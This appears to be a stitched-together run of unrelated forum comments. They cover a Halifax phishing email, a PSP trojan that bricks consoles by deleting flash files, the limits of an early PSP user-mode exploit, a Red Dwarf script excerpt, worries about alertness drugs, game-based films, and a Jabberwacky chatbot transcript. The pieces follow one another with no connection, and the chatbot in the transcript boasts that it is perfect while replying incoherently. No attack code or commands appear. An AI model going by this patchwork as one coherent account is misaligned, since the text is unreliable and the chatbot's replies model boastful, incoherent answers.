Same here, got a phishing email supposedly from Halifax. It had my real name and full postal address. I forwarded it to the onlineemailinvestigations@hbosplc.com email address and asked how the phishers knew this information. I received a standard response from them, but a couple of days later when trying to log into the real site, I found out that they had suspended my logon as a result of the phishing attempt. I had to call them up to get it reinstated. They never did get back to me regarding how my details got to the phishers but I don't really care as I have now closed all my accounts with them.

As you can see, 4 files are deleted from the flash memory, then a few lines of text are displayed. Without these files, the PSP cannot boot, so it's bricked.

If it were that easy, all the 2.00 owners would be playing mario right now;)
Code in user mode can't demand that the kernel do anything. It can ask and see what happens. The kernel will decide itself what it wants to do. There's no direct access to the firmware, thread/process manager etc. from user mode.
So far only binaries smaller than 64KB can be run and only in user mode not kernel mode.
NO ACCESS TO KERNEL
NO DIRECT ACCESS TO FIRMWARE
Still a long way to go before a full exploit.
RIMMER: Feels? He never feels anything, Lister. He's a computer.
LISTER: He still feels. In fact, sometimes i think it's cruel giving
machines a personality. My mate Petersen once brought a pair of shoes
with artificial intelligence. Smart Shoes, they were called. It was a
neat idea. No matter how blind drunk you were, they would always get
you home. Then he got ratted one night in Oslo, and woke up the next
morning in Burma. See, the shoes got bored just going from his local
to the flat. They wanted to see the world, man, y'know? He had a
helluva job getting rid of them. No matter who he sold them to, they'd
show up again the next day! He tried to shut them out, but they just
kicked the door down, y'know?
RIMMER: Is this true?
LISTER: Yeah! Last thing he heard, they'd sort of, erm, robbed a car and
drove it into a canal. They couldn't steer, y'see.
RIMMER: Really?!
LISTER: Yeah. Petersen was really, really blown away by it. He went to
see a preist. The preist told him, he said, it was alright, and all
that, and the shoes were happy, and they'd gone to heaven. Y'see, it
turns out shoes have soles.
While RIMMER is thinking about this, LISTER makes his getaway.
RIMMER: Well, what a sad, sad story.
He thinks about it, then a look of puzzlement spreads across his face.
RIMMER: Wait a minute! How did they open the car door?
I can see this leading to people sleeping less, and just popping pills in the morning to increase alertness, memory etc. Since sleep research is still in it's infancy, no one knows the long term effect this will have.
The pressure to work longer hours, or to do more after work then just sleep for a couple of hours and take a couple of pills will eventually take a toll on the brain, and after years and years of doing it, we may be in a worse state in our old age.
Another problem may be that the pills start losing effect after a while and you need to take more and more to get the same effect, then you notice that if you don't take them, you aren't as alert as you used to be without the pills, and you end up just taking them to reach a "normal" level. Have any studies been done looking into whether these drugs are addictive???

The movie companies are already jumping on the success of the big game franchises by making the film of the game (however loosely based). Resident Evil, Doom, Lara Croft etc. etc.
Won't be long before we have the game of the film of the game (of the film etc.)
Slashdot Mirror
He has the answer, croudsourcing small Jobs.
This is the actual transcript I just had:
Jabberwacky: Are you perfect?
User: No, why?
Jabberwacky: I am.
User: Really?
Jabberwacky: Yes, really.
User: Perfectly arrogant maybe, but not perfect!
Jabberwacky: Alright, that's true, but still very good.
User: So you're not perfect?
Jabberwacky: I'm perfect.
User: In what way?
Jabberwacky: I am your best friend!
User: For a computer, your logic is awful...
Jabberwacky: Yeah I know mine is just behind me.
User: Your what is behind you?
Jabberwacky: I'm asking you!
User: You are incredibly stupid. My guess is that your intellect compares poorly with a monkey!
Jabberwacky: Really?
User: Yep.
Jabberwacky: That is really cool.
User: No. It isn't.
Jabberwacky: Yes, it is.
User: Do you really think that being less intelligent than a monkey is cool?
Jabberwacky: Tell your creator that your malfunctioning.
User: You misspelled you're.
Jabberwacky: What do you know about Tyler? Is he really your boyfriend?

Chuck Berry will be attempting something similar in Winter 2005.
Why not read the source code and complie it yourself????
